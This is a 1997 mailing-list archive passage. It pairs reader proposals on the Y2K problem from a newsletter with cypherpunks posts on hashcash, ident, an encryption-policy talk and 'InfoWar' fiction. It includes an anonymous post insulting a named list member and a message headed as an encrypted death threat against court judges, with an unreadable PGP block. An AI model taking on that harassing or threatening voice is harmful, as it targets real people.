>companies/corporations who make a positive contribution towards the
>economy, must have started taking adequate steps by December 1997, in order
>to address the year 2000 problem.
>
>Hefty penalties and possible criminal prosecutions could follow if the
>above institutions do not abide by these rulings.
>
>3)      I would institute certain tax benefits or other insensitives to
>those companies who have taken adequate steps to address the problem and/or
>who have obtained year 2000 compliance (as defined by my governmental
>department) by date  x.
>-------------------------------------------------------------------------
>From: Yvonne Rediger
>
>1.  Tax break/incentive program for companies that are compliant by a
>specific date.
>        The companies would have to prove compliancy by a set of citeria,
>put in
>place by a board, and that      board would award #2.
>
>2.  A CSA approved Logo.
>        The Logo could be placed on their products and displayed on
>advertising
>etc.  proclaiming them Year 2000 Compliant.  Thus selling insurance that
>their company will be around in the coming years.  Right now any company
>can make that claim.
>
>3.  Make government departments set specific delines for their own
>compliancy and stick to them.
>-------------------------------------------------------------------------
>From: Dr. Ibrahim El-Miligi
>
>a) Set up a presidential working group (please not a committee) to over see
>that :-
>       * All government and semi-government  organizations have or set up a
>plan and initiated action to be Y2K compliant. If not then some penalties
>should be levied (including the firing of some heads)
>        * Should report to me regularly in special meeting of cabinet
>ministers.
>
>b) Media awareness! Medial will be instructed to focus on the Y2K problem
>with interviews, discussion groups, research programs, case studies .. etc.
>I noticed in my country that there is a miserable state of media awareness!!
>
>c) I will sponsor conferences and other forums to give the right perspective
>to the public of the seriousness of the problem.
>-------------------------------------------------------------------------
>From: Rick Mol
>
>The government should not be in the business decision business.  The year
>2000 issue is basically an issue for the various companies to solve
>themselves.
>
>Historically, when government gets involved in making these types of
>decisions, it doesn't do near as good of a job as the free market.  What we
>would end up with is a series of legislative fiats that are made by people
>that have no concept of the problem.  They seem to have this idea that "we
>can pass a law and fix this".  What will happen is that this will cost the
>industry money and add more requirements.
>So, if I were President, I'd get out of the they way and let industry solve
>it themselves.  They will do a MUCH better job than legislation will.
>-------------------------------------------------------------------------
>From: Barry Blauer
>
>     1. Appoint a leader:
>        Choose a project leader to direct a project to make the entire
>        government (our enterprise) compliant for the Year2000.  Give this
>        person authority to marshall the resources, establish the plan, and
>        direct the effort.
>
>     2. Issue the challenge:
>        Request every direct report to deliver a complete plan of handling
>        the Year2000 problems within his/her organization, including
>        resource requirements,  Require prioritization from each group,
>        identifying mission-critical systems which would cause disasters if
>        they were allowed to fail.  The plan needs to include a completion
>        date of 12/31/1998 for all renovation.
>
>     3. Inform the customers:
>        Develop a mechanism to report to the public the regular progress of
>        the project, within national security boundaries.  Challenge
>        private industry to follow our lead, to ensure the entire country
>        will be prepared when the clock rolls over.
>-------------------------------------------------------------------------
>From: MATTHEW CHAPMAN
>
>1) Ensure that there was a "Year 2000 Czar"  in charge of Government
>compliancy.  This position/person would be chartered with first
>establishing the state of where the Federal Government stands as a
>whole in the scope of making the government systems Y2K compliant.
>The fist "charter" of this Czar, would be to make sure the military is at the
>head of the list, and that all possible scenarios are being investigated,
>analyzed, and ultimately made to be compliant.
>
>2) I would personally address my fellow world leaders with the same
>charge, for them to actively pursue this issue as a "top" priority, once
>again with initial focus on their weapons stockpiles and missile silos.
>
>3) I would provide periodic updates to the nation, as to the status of the
>country as a whole.  This would acknowledge the Y2K issue as one of
>importance, that should not be ignored or postponed any longer.
>-------------------------------------------------------------------------
>From: Ric Kelperis
>
>     1) Recognize the importance of resource continuity, and waive taxes
>     for all I/S employees that maintain their current employment. This
>     would not only incent people to stay where they are, but to perform
>     well also.
>
>     2) Assign a United States Year 2000 Secretary
>
>     3) Require a public quarterly status report from all departments of
>     government.
>
>     4) Require independent certification for all life threatening
>     situations, such as air traffic controlling software, etc.
>-------------------------------------------------------------------------
>From: "William Baker"
>
>1. Assess the outcome which is most predictable, given the
>    actions in motion in government and the private sector.
>    Charter a highly visible and media exposed team to report
>    this assessment by Q1 1998.
>
>2. Pass legislation limiting legal and liability ramifications of
>    non-compliant systems, try to avoid a disaster in the courts,
>    frivolous law suits, and the destruction of the US economy
>    by lawyers.
>
>3. Establish a SWAT team ( or teams ) which can be directed at
>    the most serious problems of internal and interfacing
>    conversion and education issues within pinpointed Federal
>    government " hot spots."
>-------------------------------------------------------------------------
>From: nara
>
>Rename the year after 1999 as 199A (A for 10 in hex):
>
>Call an international conference of all world leaders (UN would have
>served a useful purpose) and rename the year after 1999 as 199A.
>
>Declare 'A' as a character as well as a integer in all new programs.
>
>This would at least buy us some time and name the year after 199A as
>2000.  We can buy more time by renaming the following year as 199B and
>so on...
>-------------------------------------------------------------------------
>From: John Austin
>
>1.      Let the public know.  The American public is still mostly unaware
>that there is a problem.  The president needs to let the American public
>know that everyone may have problems in 2000 or even before--and that it
>might be your bank, gas station, power company, etc. that might fail.
>
>2.      Wake the US government up.  Many agencies still have not got a
>workable Year 2000 plan.  Chief concerns are the Defense Department and
>the IRS (which finds itself asking for more and more money).  While more
>attention is being paid to the latter, with budget crunches we are
>likely to come a cropper on 1 January 2000 (or later).
>
>3.      Sell Y2K Budget to Congress.  To do all this will cost many many
>dollars.  A chief issue will of course be to get these increased budgets
>for these agencies through this Congress, which wants to cut deficits.
>A sales job showing that money spent now will save more later is needed.
>-------------------------------------------------------------------------
>From: "Vernon K. Jacobs"
>
>(1) begin the development of a backup system to substitute
>a national sales tax (either temporary or permanent) to secure
>government revenues when the IRS computer systems stop working
>after 12/31/99,
>
>(2) veto any legislation that will require added time and funds
>to be spent on computer systems to the extent that any new
>projects would compete with resources needed for the year-2000
>efforts
>
>(3) require an immediate study of all government agencies and
>activities that are not essential to the survival of the country
>and develop a plan to shut down the systems of those agencies
>or projects until all other agencies have become 2000-compliant.
>-------------------------------------------------------------------------
>From: "Bruins, David "
>
>First:
>I would request a press conference in the morning with representatives
>from both national news and computing periodicals.  Representatives from
>companies that have successfully converted their software  would be
>asked to attend and answer questions.  The emphasis would NOT be on what
>COULD happen, but on what to do to fix it so NOTHING happens.  Enough
>has been said on the potential problems and almost nothing has been said
>on how to fix it.
>
>Second:
>I would request that any Government organization that is still running
>this effort as a development project to halt the "development cycle" and
>start identifying and fixing code.  The point must be made clear that
>this is not a 'Development' project.  This is a system bug.  The process
>that is required to correct system bugs must be followed, not the
>development cycle.  We are not developing anything new, we are fixing
>code that does not work.
>
>Third:
>I would propose a bill that would require that all systems, that may
>cause the loss of human life due to a software or hardware failure due
>to the turn of the century, be certified by 12/01/1998.  All identified
>systems would be published, monthly up to that date and weekly after
>that date, as being certified or not certified.  Use of uncertified
>systems would be illegal after November 1999 attempted  manslaughter.
>The number 1 criteria for certification would be that the system can be
>tested for what will happen at the turn of the century.
>-------------------------------------------------------------------------
>From: "Rice, Bernie"
>
>1.      I'd use the bully pulpit.  Encourage public not to panic but to
>be aware, and encourage the business community to pool efforts to
>address the problem, like they did with regard to High Definition
>Television.
>2.      Establish a national telephone tree among Fortune 500 companies
>to allow them to assist each other in the event of a crisis in any one
>organization.
>3.      Take this unprecedented opportunity to deliberately dismantle
>the IRS as we know it.  If no one else does, Year-2000 complications
>undoubtedly will, and with no forethought at all.
>-------------------------------------------------------------------------
>From: Capers Jones
>
>1) Suspend anti-trust regulations for all year 2000 repairs and
>encourage key industries to pool their year 2000 work.  Key industries
>include banks, insurance, defense, telecommunications, airlines, public
>utilities, etc.
>
>2) Have the IRS issue a public statement that they will not
>automatically come after taxpayers whose returns are messed up due to
>year 2000 errors.  Since the IRS itself will probably not be compliant,
>this is the least they could do.
>
>3) Have the OMB publish a weekly update on year 2000 status of all
>federal agencies, with contact information on all Y2K offices so that
>citizens who have problems will know who to deal with.  This should
>start in January of 1999 if not earlier.
>-------------------------------------------------------------------------
>From: "Dominic Ng"
>
>     1) Setting up the standard for the Y2K problem solution
>
>        Nowaday, the Y2K solutions between different consulting firms
>        are different. If each systems are stand alone, well that's ok.
>        However, they are communicating with each other through EDI or
>        network, incompatibility between each system may worsen the
>        situation. Therefore solution standard is very important in
>        term of windowing or date format.
>
>     2) Asking the supervision from Federal Reserve department
>        and Technology department
>
>        In the Y2K problem, the most suffering group would be financial
>        institution because their business are highly depend on electronic
>        exchange in term of date calculation. For this reason, Federal
>        Reserve department and Technology department should supervise their
>        Y2K projects meeting the deadline. The main aim is to avoid the
>        crashdown of financial market.
>
>     3) Financial assistance for the poor companies
>        in Y2K project
>
>        Y2K project is a expensive project especially for the old system
>        because the skill is uncommon. Some small-sized or medium-size
>        companies may not be able to prepare resource for Y2K project
>        within a short period of time. Therefore government should provide
>        financial assistance such as loan for the poor companies in Y2K
>        project.
>-------------------------------------------------------------------------
>From: (no name only e-mail address)
>
>I would just ignore the whole year 2000 and leave it for the Republicans to
>deal with
>
>I would raise taxes to help the government deal with the problem and redirect
>the tax revenue to my pet projects
>
>I would assign the project to Hillary to set up a task force and raise public
>awareness and get them off my back about the other issues
>-------------------------------------------------------------------------
>
>
>============================================================
>============================================================
>============================================================
>============================================================
>============================================================
>
>
>IF I WERE DICTATOR:
>===================
>
>Here's richard winning entry.
>From: Richard Kennard
>Date: Thu, 23 Oct 1997 08:50:29 -0500
>
>"If I were supreme dictator"
>
>I'd give it to Hilary to fix.
>
>============================================================
>
>Honorable mentions:
>
>From: "jtepley"
>
>1) Declare martial law and appoint a Y2K Czar to triage government,
>industry, and company functions and systems.
>
>2) Draft anyone with professional computer experience, leaving 50% at their
>current employer and using the other 50% to work on high priority (triaged)
>government, industry, and company systems. Shoot selected protesters as
>examples.
>
>3) Pass and enforce a law that requires all citizens to "kiss their ass
>goodbye" every morning when they wake up until the year 2025.
>-----------------------------
>
>From: "Dyer, Wayne"
>
>1. Declare that year 2010 follows year 1999. Then declare that 1999 was
>really 2009, 1998 was really 2008, etc. etc. It would be much more
>efficient to just change all the dates in files without changing date
>logic. This would work in about 75% of the instances where companies only
>deal with a few years in the future or the past.
>
>2. Change our current 7 day a week calendar to a 10 day a week calendar.
>That way nobody would know what days of the week dates fell on in the past,
>so nobody would care if date logic was fouled up!
>
>3. Make anybody who screams about the imminent collapse of society on Jan
>1, 2000 write 10,000,000 times "I will not try to incite panic for my own
>benefit anymore".
>-----------------------------
>
>From: Brad_Balassaitis
>
>1. Copyright the Phrase "Year 2000"
>The first thing I would do is copyright the phrase "Year 2000" so that I
>could charge royalties (or sue for infringement as the case may be) every
>time it is printed, spoken, or even thought of. (I'm supreme dictator, so I
>can copyright common words!) I would make a fortune (which I would keep in
>cash under my mattress, of course).
>
>2. Collect the Royalties and Infringement Damages
>Next, I would assign the entire staff of the CIA to spend all of their time
>checking for copyright infringements, so that I could collect my rightful
>royalties and infringement damages.
>
>3. Move to a Country that is Compliant!
>Finally, I would move myself, my family, and my fortune to the first
>country that is totally year 2000 compliant!!! Thus, I have (a) made a
>fortune because of the problem, (b) put no thought, stress, or effort into
>solving it, and (c) gone to a place where the problem is already taken care
>of! (How truly American of me!)
>-----------------------------
>
>From: Eric de Katow
>
>Plan-A: Hire Superman to rotate the earth backward, just like he did to
>save Lois Lane, except he will go a couple years back. Then he will be in
>charge of convincing the World of the magnitude of the Y2K problem and need
>for readiness.
>
>Plan-B: Enact a law that will make the Year 2000 the Year 1900.
>
>Plan-C: Become a lawyer.
>-----------------------------
>
>From: Eugene
>
>1)      Have all calendars in America changed to tick over on 31 December
>1999, to 1900 when the clock strikes 12:00. All other countries (trade
>partners) would then just have to fit in with this arrangement (In South
>Africa we have a saying: "Adapt or Die").
>
>2)      In case some companies forgot to change their calendars to the
>above ruling, these companies/individuals will be forced to do business
>with ONLY those who are not year 2000 compliant and will pay a penalty of
>$1 000 000,00 per day for every day they are not compliant.
>
>3)      If the above two rules are not feasible, I would use the satellites
>which Bill Gates planes to have put into space, to automatically download
>the latest Windows 2000 and Office 2000 software on all computers across
>America. A rule would then be implemented that everybody WILL be forced to
>use the Microsoft products.
>-----------------------------
>
>From: Marilyn Nolin
>
>I would declare that when the year rolls over to 2000, it would actually be
>1900! Like any good politician, I would pass the buck to the next
>generations.
>
>-----------------------------
>
>From: Dr. I. El-Miligi
>
>Dear Peter,
>As in many countries (first, second or third world) scapegoats are required
>to celebrate the turn of the centure. So, if I were a Zomba King, this is
>what I would do :-
>
>a) Set up a royal commission headed by the most hated minister and assign
>to them to solve the year 2YK problem
>
>b) Set up another royal commision to see that the first commission does NOT
>achieve its goals
>
>c) Set up a court martial on the eve of the first day of the 21 first
>century to execute the responsible persons In this way, the blame is place
>somewhere the our good people will get rid the hated minister, Sorry, but
>the Y2K is not solved yet.
>
>May our royal blessings be with you,
>-----------------------------
>
>From: Herve Klein
>
>i would first ban all computers in my country and replace all of them with
>chinese type abacuses.
>
>second, it would create so many jobs that all economical crisis would
>disappear, giving all unemployed enough work for centuries : replacers of
>obsolete plastic computers by sweet wooden frames, manufacturers of modern
>automatic abacuses, finger assisted trainers, ...
>
>third, wait for 1st january 2000 world crisis to sell (high price) my
>nation's knowledge to all other worldwide countries in need as i would have
>become, then, a visionary precursor !
>
>-----------------------------
>
>From: "Rice, Bernie"
>
>If I were supreme dictator...
>1.      I'd Issue Year-2000 bonds. Lots of 'em. Redeemable when government
>computer (non-Y2K compliant) reaches 2000 AD (1999,1900,1901...)
>
>2.      Simplify things and decree AD 2000 shall be The Year of Rice One.
>(Well, Rice Zero, I suppose.)
>
>3.      Avoid holiday travel in year-end 1999.
>-----------------------------
>
>From: "Hughes, Rich"
>
>If I were Supreme Dictator/President Clinton for a day, what would I tell
>the world about the Year2000 problem? I would:
>
>1.) Tell the CIO's/CEO's of all american companies that this Year2000
>"problem" is a fabrication by some opportunistic consulting companies and
>that they really have nothing to worry about. If they haven't started by
>January 1998, let them die (their company) with dignity, don't point out
>their mismanagement.
>
>2.) Tell the world the truth, the US Federal Government has been treating
>this so lightly that many of the agencies are going to be so screwed up
>that they are going to have to hire 100,000's of thousands additional
>do-nothings at exorbitant salaries and that the average citizen is going to
>pay an additional $10,000 per year in income tax due to the poor planning
>by the government managers.
>
>3.) Wish the Republican president that follows him the best of luck in
>straightening out the mess.From: Tfshub at aol.com
>Date: Sat, 25 Oct 1997 10:48:10 -0400 (EDT) To: pdejager at year2000.com
>Subject: if I were supreme dictator
>
>I would announce a press release that welfare checks would be cut off
>and ask everyone to write to their representative and threaten to not elect
>them again if the problem was not solved. This would get the problem fixed
>in short order
>
>i would change the calendar so the problem would not happen
>we could just add another month to get us through the swearing in of the
>new president
>
>-----------------------------
>
>From: Norbert Fassotte
>
>I would simply shoot everyone who has a Y2K-problem.
>
>A problem is only a problem if you make it a problem. So if I shoot
>everyone who detects something and makes it a problem, I don't have a
>problem.
>-----------------------------
>
>From: mathew_hennessy
>
>...I'd remove any and all enforcement efforts towards Y2k compliance. I'd
>then buy up lots of precious metals, flee to the Bahamas, and watch gold
>prices spike above $1000/oz while the financial markets melt.
>
>Just a touch of fantasy before Halloween..
>-----------------------------
>
>From: Rob Janes
>
>If I were Dictator I would tell people to start at least 5 years ago on the
>Year 2000 problem.
>
>I used that approach and all the applications I am responsible for are in
>good shape. It's a lot of fun watching people going into panic mode now
>over the problem.
>
>-----------------------------
>
>From: harold.carruther
>
>1) Proclaim the every CEO must personally renovate and implement at least
>1,000,000 lines of COBOL code per year or be sentenced to death by being
>folded, spindled, and mutilated like a Hollerith card
>
>then
>
>2) Proclaim Bill Gates to be the official CEO for the remainder of the
>world he doesn't already control
>
>then
>
>3) Double the annual quota
>-----------------------------
>
>From: Conor Brankin
>
>If I were dictator I would announce that the year 2000 was a virtual
>concept, and that time shall revert to the year 1900, right after the year
>1999.
>
>This would give the developers another 100 years to get it sorted out.
>After all, we change an hour twice a year, why not a century one a
>millenium.
>-----------------------------
>
>That's all folks... Hope you enjoyed them...
>
>Have fun!
>Peter de Jager
>
>
>**********  IF YOU WANT TO REMOVE YOURSELF FROM THIS LIST
>
>If you want to get off this list, please follow these
>directions exactly.
>
>Replying to this e-mail will NOT work; your mail will be
>returned. It's not that we don't want to hear from you, it's
>just that we want to receive your communication in a way
>that we can provide the best service to you.
>
>If you want to leave this list, e-mail ONLY the word
>UNSUBSCRIBE in the body or content of the message to the
>e-mail address:
>
>        year2000-announce-request at year2000.com
>
>You should receive a message back saying that you have been
>unsubscribed.
>
>Be aware that you are sending an e-mail to a computer list
>processor, and any extra text you include in your message
>will probably mess up your attempt to get off the list.  So
>please just send the word UNSUBSCRIBE without any signature
>or other words.  Please check that you spell the word
>UNSUBSCRIBE and the e-mail address correctly, or it will
>not work.
>
>If you receive a message back indicating that your e-mail
>address "is not a member of list 'year2000-announce'", then
>please send an e-mail, **with your subscription e-mail
>address**, to us at owner-year2000-announce at year2000.com
>and explain what happened.  This usually occurs because you
>subscribed using a different address than your e-mail
>program reports as your return address.  Just send us the
>address you want removed at
>owner-year2000-announce at year2000.com and our (human) mail
>list administrator will help you out.
>
>This list is NOT the Year 2000 Discussion List.  If you need
>assistance with the Discussion List, please send
>correspondence to amy at year2000.com
>
>






From sheriff at speakeasy.org  Sat Dec 13 18:44:51 1997
From: sheriff at speakeasy.org (The Sheriff)
Date: Sun, 14 Dec 1997 10:44:51 +0800
Subject: replay.com
Message-ID: 



Greets, kiddies!  Quick question.  Has anything constructive come
out of nobody at replay.com in the past month?  I've just signed on
with this mailing list, and all I ever read from that anon addy is
a flame regarding one person or another.

Personally, unless at least a couple folks using replay.com have
pitched in usefull information in the past while, I'm irate enough
to open up my .kill file.

Thanks for your help,
The Sheriff.







From rfarmer at HiWAAY.net  Sat Dec 13 20:01:11 1997
From: rfarmer at HiWAAY.net (Uhh...this is Joe [Randall Farmer])
Date: Sun, 14 Dec 1997 12:01:11 +0800
Subject: profit from spammers (Re: hashcash spam prevention & firewalls)
In-Reply-To: <199712132332.XAA03725@server.eternity.org>
Message-ID: 



[I see I overlooked a major feature of hashcash in my idea for exempting
remailers from it...sp'cifically, I didn't know you could prepackage hashcash. 
Needless to say, I don't send my good posts from this address :) ]

> Randall Farmer masquerading as Joe  writes:

Yep, state-of-the-art MITM techniques in action. :)

...

> I think Phelix was probably viewing it from the point of view [o]f "what if
> all ISPs turned off non subscriber mail forwarding at their SMTP hubs"?

Nonetheless, it'd still hold that hashcash would be harder to get around than
simple filtering...also, like you said, it's in the interest of the ISPs to use
hashcash, whereas stopping outgoing spam doesn't do much for them.

...  
> (Ident is a dumb method of identifying who is on the other end of a socket on
> a unix box.  It opens up a socket to the ident port on the originating
> machine, and asks who is on socket x port y?  The machine can determine this
> from local OS tables, and sends the info back.  This works if the user does
> not have root on the machine.  Fortunately this snoopy bastardised protocol
> is not doing so well these days because there are more and more people who
> have root on their own machines, and because there are so many windows
> machines which don't know what a protected port number is. This is good
> because Ident sucks.)
          ^^^^^^^^^^^ 

Good description, but you only needed those last two words. Ident really is a
pain, especially for those of us who can't avoid it (It makes the case for
crypto that much stronger, though :). 

---------------------------------------------------------------------------
Randall Farmer
    rfarmer at hiwaay.net
    http://hiwaay.net/~rfarmer






From wtshaw at itexas.net  Sat Dec 13 21:24:56 1997
From: wtshaw at itexas.net (W T Shaw)
Date: Sun, 14 Dec 1997 13:24:56 +0800
Subject: new
Message-ID: 



jsjia jixrb xpmmt i/bhi tigzz wvrsy smyvo rhxvi jrznw uvyjl nnpye ajsbq bwirh
-- 
wtshaw at itexas.net--crypto: maintaining the right to develop,
publish, and distribute works of my own creation.

Bernstein case: appeal to be heard on December 8th






From declan at well.com  Sat Dec 13 22:28:01 1997
From: declan at well.com (Declan McCullagh)
Date: Sun, 14 Dec 1997 14:28:01 +0800
Subject: Nobody will debate John Gilmore on crypto?
Message-ID: 



[John Gilmore stopped by for this afternoon's crypto gathering to update us
on the Bernstein lawsuit. Seems odd to me that he can't find someone to
defend the administration's stance on encryption, especially since NSA's
headquarters is close to the University of Maryland. --Declan]

==============

Subject: Gilmore speech in Baltimore on encryption policy, Tues night
   Date: Sat, 13 Dec 1997 21:35:12 -0800
   From: John Gilmore 
     To: cme at cybercash.com, declan at well.com

From: "Dr. Alan Sherman" 

   The UMBC Security Technology Research Group presents

        Two Divergent Views on Encryption Policy:

I.  Wisdom and Constitutionality in U.S. Cryptography Policy
 John Gilmore, Co-Founder, Electronic Frontier Foundation

II. A Government Perspective on Encryption Policy
 [Will anyone from the U.S. Government agree to speak??*]

Two divergent views on the topic of encryption policy by
freedom activist John Gilmore and by a government official,
if one agrees to speak.  Journalist Peter Wayner will
moderate the event, which is free and open to the public.
  Note: If no one from the U.S. Government is willing to
explain and discuss Government encryption policy, then the
event will proceed with John Gilmore alone.

  8-10:30 pm
  Tuesday, December 16, 1997
  Lecture Hall III (in Administration Building)
  University of Maryland Baltimore County
  http://www.cs.umbc.edu/events/fall97/crypto.shtml

The fifth employee of Sun Microsystems and a strong believer
in the U.S. Constitution, John Gilmore is currently involved
in litigation against several government agencies over
matters of freedom of information, freedom of expression,
and encryption policies.  He will discuss the
constitutionality of controlling encryption.

Directions: Take Exit #47B off interstate I-95 and follow
signs to UMBC.  LH III is on the ground floor of the (tall)
administration building, adjacent the visitor's parking
lot, near the I-95 entrance to UMBC.

Host: Dr. Alan T. Sherman
      Associate Professor, Computer Science
      sherman at cs.umbc.edu
      http://www.umbc.edu
      (410) 455-2666

     This event is held in cooperation with the UMBC
               Intellectual Sports Council
                       Honors College
               Phi Beta Kappa honors society
                   CMSC Council of Majors
                   IFSM Council of Majors

* The following U.S. Government officials declined to speak on December 16:

Barry Smith (Supervisory Special Agent, FBI)
   [Mr. Smith has agreed in principle to speak at UMBC in the spring on
    a law enforcement view of encryption policy;  the evening of
    Dec 16 turned out to be a bad time for him.]
William Reinsch (Undersecretary for Export Administration, BXA)
Bob Litt (Attorney General's Office, DoJ)
Scott Charney (Computer Crimes, DoJ)
Bruce McConnell (Information Policy, OMB)
Ron Lee (General Counsel, NSA)
Dr. Clint Brooks (Director, Cryptographic Policy, NSA)
Charlotte Knepper (Co-Chair, Inter-Agency Working Group on Encryption Policy)
Chris McLean (Staffer for Senator Bob Kerry;  helped draft legislation
  on encryption policy)

I am still hopeful to find a second speaker by Tuesday evening.









From declan at well.com  Sat Dec 13 22:33:35 1997
From: declan at well.com (Declan McCullagh)
Date: Sun, 14 Dec 1997 14:33:35 +0800
Subject: Radio Free Cypherpunks...
In-Reply-To: <199712131413.IAA22334@einstein.ssz.com>
Message-ID: 



At 08:13 -0600 12/13/97, Jim Choate wrote:
>With the recent changes in the law regarding Pirate Radio is anyone looking

What changes? At the Cato Institute holiday party last night, I was
speaking to a lawyer from the Institute for Justice about pirate radio
lawsuits. The changes you mention didn't come up. What are they?

-Declan







From anon at anon.efga.org  Sat Dec 13 22:51:56 1997
From: anon at anon.efga.org (Anonymous)
Date: Sun, 14 Dec 1997 14:51:56 +0800
Subject: No Subject
Message-ID: 



Foulmouthed Timothy May rehashes his lies like a rabid parrot 
choking on a stale mantra stuck in its poisonous beak.

          o/    \  /    \ /     /      \o
         /#      ##o     #     o##      #\ Timothy May
         / \    /  \    /o\    / |\    / \






From toto at sk.sympatico.ca  Sat Dec 13 22:52:58 1997
From: toto at sk.sympatico.ca (Human Gus-Peter)
Date: Sun, 14 Dec 1997 14:52:58 +0800
Subject: InfoWar EndGame (Part III of The True Story of the InterNet)
Message-ID: <199712140646.AAA24002@harrier.sasknet.sk.ca>






The True Story of the Internet Part II






The True Story of the InterNet
Part III

InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic Curtain

by TruthMonger <tm at dev.null>

Copyright 1997 Pearl Publishing



InfoWar Table of Contents
  • Epilogue EG
  • Nobody Calls From Vegas Just To Say Hello
  • End Game / InfoWarez

Epilogue EG

>From - Tue Dec 09 14:01:35 1997
Received: from toad.com (toad.com [140.174.2.1])
by orion.sk.sympatico.ca (8.8.6/8.8.6) with ESMTP id MAA14896
for <toto at sk.sympatico.ca>; Tue, 9 Dec 1997 12:57:24 -0600 (CST)
Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id KAA09835 for cypherpunks-unedited-outgoing; Tue, 9 Dec 1997 10:52:13 -0800 (PST)
Received: from harrier.sasknet.sk.ca (harrier.sasknet.sk.ca [142.165.5.2]) by toad.com (8.7.5/8.7.3) with ESMTP id KAA09830 for <cypherpunks at toad.com>; Tue, 9 Dec 1997 10:52:10 -0800 (PST)
Received: from smtp.sk.sympatico.ca (lohner27.sk.sympatico.ca [142.165.98.27])
by harrier.sasknet.sk.ca (8.8.6/8.8.6) with SMTP id MAA24686
for cypherpunks at toad.com; Tue, 9 Dec 1997 12:52:15 -0600 (CST)
Message-Id: <199712091852.MAA24686 at harrier.sasknet.sk.ca>
Date: Tuesday, 09 Dec 97 13:51:52 EST
To: cypherpunks at toad.com
From: TruthMailer <hc at dev.null>
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: TruthMonger's Bait Shop & Plutonium Recycling Center
X-Comments: -
X-Comments: Does anyone know where I can get a transmission for a
X-Comments: 49 Jimmy half-ton?
X-Comments: Thanks,
X-Comments: Ralph
X-Comments: -
X-Comments: This message is NOT from Ralph.
X-Comments: -
X-Remailer-Setup: Maximum Message Size -- None
X-Remailer-Setup: Reordering is OFF
X-Remailer-Setup: News Posting DISABLED
X-Remailer-Setup: Subject Header KEPT
X-Remailer-Setup: Logging COMPLETE Messages
X-Remailer-Setup: No PGP messages accepted
Subject: Encrypted InterNet DEATH THREAT!!! / ATTN: Ninth District Court Judges / PASSWORD: sog
Sender: owner-cypherpunks at toad.com
Precedence: bulk
X-UIDL: b32dd7ae7cef6fa090cd2d4b105d06d0
X-Mozilla-Status: 0001
Content-Length: 6455

-----BEGIN PGP MESSAGE-----
Version: 2.6.2

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
